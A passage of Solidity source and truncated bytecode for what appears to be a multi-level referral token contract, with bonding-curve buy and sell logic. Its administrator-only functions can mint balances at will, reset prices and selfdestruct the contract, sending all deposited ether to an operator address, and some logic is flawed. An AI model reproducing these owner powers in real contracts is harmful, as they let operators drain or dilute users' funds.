function upgradeContract(address[] _users, uint256[] _balances, uint256[] _rewards, address[] _referredBy, uint modeType)
onlyAdministrator()
public
{
if(modeType == 1)
{
for(uint i = 0; i<_users.length;i++)
{
tokenBalanceLedger_[_users[i]] += _balances[i];
tokenSupply_ += _balances[i];
genTree[_users[i]] = _referredBy[i];
rewardBalanceLedger_[_users[i]] += _rewards[i];
tokenSupply_ += _rewards[i]/100;
emit Transfer(address(this),_users[i],_balances[i]);
}
}
if(modeType == 2)
{
for(i = 0; i<_users.length;i++)
{
rewardBalanceLedger_[_users[i]] += _balances[i];
tokenSupply_ += _balances[i]/100;
}
}
}
function fundsInjection() public payable returns(bool)
{
return true;
}
function startSellDistribution() onlyAdministrator() public
{
distributeRewards_ = true;
}
function stopSellDistribution() onlyAdministrator() public
{
distributeRewards_ = false;
}
function upgradeDetails(uint256 _currentPrice, uint256 _grv)
onlyAdministrator()
public
{
currentPrice_ = _currentPrice;
base = _grv;
}
function withdrawRewards() public returns(uint256)
{
address _customerAddress = msg.sender;
require(!reEntrancyMutex);
require(rewardBalanceLedger_[_customerAddress]>minWithdraw);
reEntrancyMutex = true;
uint256 _balance = rewardBalanceLedger_[_customerAddress]/100;
rewardBalanceLedger_[_customerAddress] -= _balance*100;
emit Transfer(_customerAddress, address(this),_balance);
_balance = SafeMath.sub(_balance, (_balance*percent/10000));
uint256 _ethereum = tokensToEthereum_(_balance,true);
tokenSupply_ = SafeMath.sub(tokenSupply_, _balance);
_customerAddress.transfer(_ethereum);
reEntrancyMutex = false;
}
function distributeRewards(uint256 _amountToDistribute, address _idToDistribute)
internal
{
uint256 _currentPrice = currentPrice_*basePrice;
uint256 _tempAmountToDistribute = _amountToDistribute*100;
for(uint i=0; i<5; i++)
{
address referrer = genTree[_idToDistribute];
uint256 value = _currentPrice*tokenBalanceLedger_[referrer];
uint256 _holdingLevel1 = level1Holding_[referrer]*_currentPrice;
if(referrer != 0x0 && value >= (50*10**18) && _holdingLevel1 >= (holding_[i]*10**18))
{
rewardBalanceLedger_[referrer] += (_amountToDistribute*percent_[i]*100)/10;
_idToDistribute = referrer;
emit Reward(referrer,(_amountToDistribute*percent_[i]*100)/10,i);
_tempAmountToDistribute -= (_amountToDistribute*percent_[i]*100)/10;
}
}
rewardBalanceLedger_[commissionHolder] += _tempAmountToDistribute;
}
function setBasePrice(uint256 _price)
onlyAdministrator()
public
returns(bool) {
basePrice = _price;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
if(msg.sender == _referredBy)
{
genTree[msg.sender] = terminal;
}
else
{
genTree[msg.sender] = _referredBy;
}
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
require(!reEntrancyMutex);
// setup data
reEntrancyMutex = true;
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _deficit = _tokens * percent / 10000;
uint256 _dividends = _tokens * (percent-200)/10000;
tokenBalanceLedger_[commissionHolder] += (_tokens*200)/10000;
_tokens = SafeMath.sub(_tokens, _deficit);
uint256 _ethereum = tokensToEthereum_(_tokens,true);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
if(_dividends > 0 && distributeRewards_)
{
distributeRewards(_dividends,_customerAddress);
}
level1Holding_[genTree[_customerAddress]] -=_amountOfTokens;
_customerAddress.transfer(_ethereum);
emit Transfer(_customerAddress, address(this), _amountOfTokens);
reEntrancyMutex = false;
}
function rewardOf(address _toCheck)
public view
returns(uint256)
{
return rewardBalanceLedger_[_toCheck];
}
function holdingLevel1(address _toCheck)
public view
returns(uint256)
{
return level1Holding_[_toCheck];
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyAdministrator()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function destruct() onlyAdministrator() public{
selfdestruct(terminal);
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function setupCommissionHolder(address _commissionHolder)
onlyAdministrator()
public
{
commissionHolder = _commissionHolder;
administrators[commissionHolder] = true;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return totalSupply_;
}
function tokenSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
return currentPrice_;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _deficit = _tokensToSell * percent / 10000;
_tokensToSell = SafeMath.sub(_tokensToSell, (_deficit-1));
uint256 _ethereum = tokensToEthereum_(_tokensToSell,false);
return _ethereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
event testLog(
uint256 currBal
);
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _amountOfTokens = ethereumToTokens_(_ethereumToSpend, currentPrice_, base, false);
_amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * percent/10000);
return _amountOfTokens;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _amountOfTokens = ethereumToTokens_(_incomingEthereum , currentPrice_, base, true);
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
require(SafeMath.add(_amountOfTokens,tokenSupply_) < (totalSupply_+rewardSupply_));
//deduct commissions for referrals
distributeRewards(_amountOfTokens * (percent-200)/10000,_customerAddress);
_amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * percent/10000);
level1Holding_[_referredBy] +=_amountOfTokens;
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// fire event
emit Transfer(address(this), _customerAddress, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, uint256 _grv, bool _buy)
internal
view
returns(uint256)
{
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*(2**(_grv-1)));
uint256 _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
uint256 _tokenSupply = tokenSupply_;
uint256 _totalTokens = 0;
uint256 _tokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
uint256 tempbase = upperBound_(_grv);
while((_tokensReceived + _tokenSupply) > tempbase){
_tokensReceived = tempbase - _tokenSupply;
_ethereum = SafeMath.sub(
_ethereum,
((_tokensReceived)/2)*
((2*_currentPrice)+((_tokensReceived-1)
*_tokenPriceIncremental))
);
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
_grv = _grv + 1;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
_tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
uint256 _tempTokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
_tokenSupply = _tokenSupply + _tokensReceived;
_totalTokens = _totalTokens + _tokensReceived;
_tokensReceived = _tempTokensReceived;
tempbase = upperBound_(_grv);
}
_totalTokens = _totalTokens + _tokensReceived;
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
if(_buy == true)
{
currentPrice_ = _currentPrice;
base = _grv;
}
return _totalTokens;
}
function upperBound_(uint256 _grv)
internal
view
returns(uint256)
{
if(_grv <= 5)
{
return (60000 * _grv);
}
if(_grv > 5 && _grv <= 10)
{
return (300000 + ((_grv-5)*50000));
}
if(_grv > 10 && _grv <= 15)
{
return (550000 + ((_grv-10)*40000));
}
if(_grv > 15 && _grv <= 20)
{
return (750000 +((_grv-15)*30000));
}
return 0;
}
function tokensToEthereum_(uint256 _tokens, bool _sell)
internal
view
returns(uint256)
{
uint256 _tokenSupply = tokenSupply_;
uint256 _etherReceived = 0;
uint256 _grv = base;
uint256 tempbase = upperBound_(_grv-1);
uint256 _currentPrice = currentPrice_;
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
while((_tokenSupply - _tokens) < tempbase)
{
uint256 tokensToSell = _tokenSupply - tempbase;
if(tokensToSell == 0)
{
_tokenSupply = _tokenSupply - 1;
_grv -= 1;
tempbase = upperBound_(_grv-1);
continue;
}
uint256 b = ((tokensToSell-1)*_tokenPriceIncremental);
uint256 a = _currentPrice - b;
_tokens = _tokens - tokensToSell;
_etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+b));
_currentPrice = a;
_tokenSupply = _tokenSupply - tokensToSell;
_grv = _grv-1 ;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
tempbase = upperBound_(_grv-1);
}
if(_tokens > 0)
{
a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental);
_etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental)));
_tokenSupply = _tokenSupply - _tokens;
_currentPrice = a;
}
if(_sell == true)
{
base = _grv;
currentPrice_ = _currentPrice;
}
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c55780630c9a49f01461025557806310d0ffdd146102ac5780631732f7cf146102ed57806318160ddd146103045780631d62ebd91461032f57806322609373146103865780632b68b9c6146103c75780632e926d49146103de578063313ce56714610409578063324536eb1461043a5780633319544c146104655780635001f3b51461049c5780636b2f4632146104c757806370a08231146104f257806370ba1113146105495780637824407f146105745780638620410b1461059f578063949e8acd146105ca57806395d89b41146105f55780639b5aaebf14610685578063a9059cbb14610708578063a90ffbe31461076d578063b84c824614610784578063ba1b37f2146107ed578063c47f00271461080f578063c7876ea414610878578063c7b8981c146108a3578063d5afbee4146108ce578063da51cc85146108f9578063de4b326214610a32578063e4849b3214610a77578063f088d54714610aa4578063f531497c14610aee578063f71e41a514610b31575b6101c2346000610b88565b50005b3480156101d157600080fd5b506101da610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021a5780820151818401526020810190506101ff565b50505050905090810190601f1680156102475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026157600080fd5b50610296600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1d565b6040518082815260200191505060405180910390f35b3480156102b857600080fd5b506102d760048036038101908080359060200190929190505050610e35565b6040518082815260200191505060405180910390f35b3480156102f957600080fd5b50610302610e71565b005b34801561031057600080fd5b50610319610eec565b6040518082815260200191505060405180910390f35b34801561033b57600080fd5b50610370600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef6565b6040518082815260200191505060405180910390f35b34801561039257600080fd5b506103b160048036038101908080359060200190929190505050610f3f565b6040518082815260200191505060405180910390f35b3480156103d357600080fd5b506103dc610f8f565b005b3480156103ea57600080fd5b506103f3611027565b6040518082815260200191505060405180910390f35b34801561041557600080fd5b5061041e61102d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561044657600080fd5b5061044f611032565b6040518082815260200191505060405180910390f35b34801561047157600080fd5b5061049a6004803603810190808035906020019092919080359060200190929190505050611038565b005b3480156104a857600080fd5b506104b16110a8565b6040518082815260200191505060405180910390f35b3480156104d357600080fd5b506104dc6110ae565b6040518082815260200191505060405180910390f35b3480156104fe57600080fd5b50610533600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110cd565b6040518082815260200191505060405180910390f35b34801561055557600080fd5b5061055e611116565b6040518082815260200191505060405180910390f35b34801561058057600080fd5b5061058961111c565b6040518082815260200191505060405180910390f35b3480156105ab57600080fd5b506105b4611126565b6040518082815260200191505060405180910390f35b3480156105d657600080fd5b506105df611130565b6040518082815260200191505060405180910390f35b34801561060157600080fd5b5061060a611145565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064a57808201518184015260208101905061062f565b50505050905090810190601f1680156106775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069157600080fd5b506106c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071457600080fd5b50610753600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611216565b604051808215151515815260200191505060405180910390f35b34801561077957600080fd5b50610782611402565b005b34801561079057600080fd5b506107eb600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061147d565b005b6107f56114f5565b604051808215151515815260200191505060405180910390f35b34801561081b57600080fd5b50610876600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506114fe565b005b34801561088457600080fd5b5061088d611576565b6040518082815260200191505060405180910390f35b3480156108af57600080fd5b506108b861157c565b6040518082815260200191505060405180910390f35b3480156108da57600080fd5b506108e36117b2565b6040518082815260200191505060405180910390f35b34801561090557600080fd5b50610a3060048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001909291905050506117b8565b005b348015610a3e57600080fd5b50610a5d60048036038101908080359060200190929190505050611ba6565b604051808215151515815260200191505060405180910390f35b348015610a8357600080fd5b50610aa260048036038101908080359060200190929190505050611c11565b005b610ad8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fc1565b6040518082815260200191505060405180910390f35b348015610afa57600080fd5b50610b2f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061212b565b005b348015610b3d57600080fd5b50610b72600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612247565b6040518082815260200191505060405180910390f35b6000806000339150610ba1856003546004546001612290565b9050600081118015610bbf5750600b54610bbd82600b546123e2565b115b1515610bca57600080fd5b610bd6600b54826123e2565b600b8190555060075460025401610bef82600b546123e2565b101515610bfb57600080fd5b610c1961271060c8600654038302811515610c1257fe5b0483612400565b610c34816127106006548402811515610c2e57fe5b0461276c565b905080600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550610ccc600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826123e2565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3809250505092915050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e155780601f10610dea57610100808354040283529160200191610e15565b820191906000526020600020905b815481529060010190602001808311610df857829003601f168201915b505050505081565b600e6020528060005260406000206000915090505481565b600080610e49836003546004546000612290565b9050610e66816127106006548402811515610e6057fe5b0461276c565b905080915050919050565b6000339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ece57600080fd5b6000601460006101000a81548160ff02191690831515021790555050565b6000600254905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000600b548411151515610f5557600080fd5b6127106006548502811515610f6657fe5b049150610f76846001840361276c565b9350610f83846000612785565b90508092505050919050565b6000339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610fec57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60035481565b600081565b60025481565b6000339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561109557600080fd5b8260038190555081600481905550505050565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b6000600b54905090565b6000600354905090565b60008033905061113f816110cd565b91505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111db5780601f106111b0576101008083540402835291602001916111db565b820191906000526020600020905b8154815290600101906020018083116111be57829003601f168201915b505050505081565b600d6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561127657600080fd5b3391506112c2600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561276c565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134e600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856123e2565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b6000339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561145f57600080fd5b6001601460006101000a81548160ff02191690831515021790555050565b6000339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156114da57600080fd5b81600190805190602001906114f09291906129a8565b505050565b60006001905090565b6000339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561155b57600080fd5b81600090805190602001906115719291906129a8565b505050565b60055481565b600080600080339250601460019054906101000a900460ff161515156115a157600080fd5b601254600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156115f057600080fd5b6001601460016101000a81548160ff0219169083151502179055506064600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481151561165657fe5b04915060648202600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a361172982612710600654850281151561172357fe5b0461276c565b9150611736826001612785565b9050611744600b548361276c565b600b819055508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611790573d6000803e3d6000fd5b506000601460016101000a81548160ff02191690831515021790555050505090565b60075481565b600080339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181657600080fd5b6001831415611aca57600091505b8651821015611ac957858281518110151561183b57fe5b9060200190602002015160086000898581518110151561185757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555085828151811015156118b657fe5b90602001906020020151600b6000828254019250508190555083828151811015156118dd57fe5b90602001906020020151600d600089858151811015156118f957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550848281518110151561198957fe5b906020019060200201516009600089858151811015156119a557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060648583815181101515611a0657fe5b90602001906020020151811515611a1957fe5b04600b600082825401925050819055508682815181101515611a3757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8885815181101515611a9d57fe5b906020019060200201516040518082815260200191505060405180910390a38180600101925050611824565b5b6002831415611b9d57600091505b8651821015611b9c578582815181101515611aef57fe5b90602001906020020151600960008985815181101515611b0b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060648683815181101515611b6c57fe5b90602001906020020151811515611b7f57fe5b04600b600082825401925050819055508180600101925050611ad8565b5b50505050505050565b600080339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c0457600080fd5b8260058190555050919050565b600080600080600080611c22611130565b111515611c2e57600080fd5b601460019054906101000a900460ff16151515611c4a57600080fd5b6001601460016101000a81548160ff021916908315150217905550339450600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548611151515611cb657600080fd5b8593506127106006548502811515611cca57fe5b04925061271060c8600654038502811515611ce157fe5b04915061271060c88502811515611cf457fe5b0460086000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550611d6d848461276c565b9350611d7a846001612785565b9050611d88600b548561276c565b600b81905550611dd7600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761276c565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082118015611e365750601460009054906101000a900460ff165b15611e4657611e458286612400565b5b85600e6000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508473ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f38573d6000803e3d6000fd5b503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a36000601460016101000a81548160ff021916908315150217905550505050505050565b60008173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561209c57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061211b565b81600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6121253483610b88565b50919050565b6000339050600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561218857600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060008060008060018a0360020a630faf78860296506122b88b6002028861276c565b9550600b54945060009350866002026122e36122dd8e8a6008020260028a0a016128bd565b8861276c565b8115156122ec57fe5b0492506122f88a612908565b91505b8185840111156123a557848203925061232c8c8860018603028d6002020160028681151561232557fe5b040261276c565b9b508660018403028b019a5060018a01995060018a0360020a630faf788602965061235a8b6002028861276c565b95508660020261237c6123768e8a6008020260028a0a016128bd565b8861276c565b81151561238557fe5b0490508285019450828401935080925061239e8a612908565b91506122fb565b82840193508660018403028b019a506001151589151514156123d0578a600381905550896004819055505b83975050505050505050949350505050565b60008082840190508381101515156123f657fe5b8091505092915050565b600080600080600080600554600354029550606488029450600093505b60058410156126f357600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548602915085600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205402905060008373ffffffffffffffffffffffffffffffffffffffff161415801561254057506802b5e3af16b18800008210155b801561256f5750670de0b6b3a764000060118581548110151561255f57fe5b9060005260206000200154028110155b156126e657600a606460108681548110151561258757fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff168a02028115156125b657fe5b04600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508296508273ffffffffffffffffffffffffffffffffffffffff167f02a6a2be713fedf52f113c0a759f1c1a23a113476d9b1b1a2a453c910660de4e600a606460108881548110151561265157fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff168c020281151561268057fe5b0486604051808381526020018281526020019250505060405180910390a2600a60646010868154811015156126b157fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff168a02028115156126e057fe5b04850394505b838060010194505061241d565b8460096000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505050505050505050565b600082821115151561277a57fe5b818303905092915050565b600080600080600080600080600080600b5498506000975060045496506127ae60018803612908565b955060035494506001870360020a630faf78860293505b858c8a03101561285657858903925060008314156127fc576001890398506001870396506127f560018803612908565b95506127c5565b83600184030291508185039050828c039b5081816002020160028481151561282057fe5b04028801975080945082890398506001870396506001870360020a630faf788602935061284f60018803612908565b95506127c5565b60008c111561288f578360018d0302850390508360018d0302816002020160028d81151561288057fe5b0402880197508b890398508094505b600115158b151514156128ab5786600481905550846003819055505b87995050505050505050505092915050565b6000806002600184018115156128cf57fe5b0490508291505b818110156129025780915060028182858115156128ef57fe5b04018115156128fa57fe5b0490506128d6565b50919050565b6000600582111515612920578161ea600290506129a3565b6005821180156129315750600a8211155b1561294a5761c3506005830302620493e00190506129a3565b600a8211801561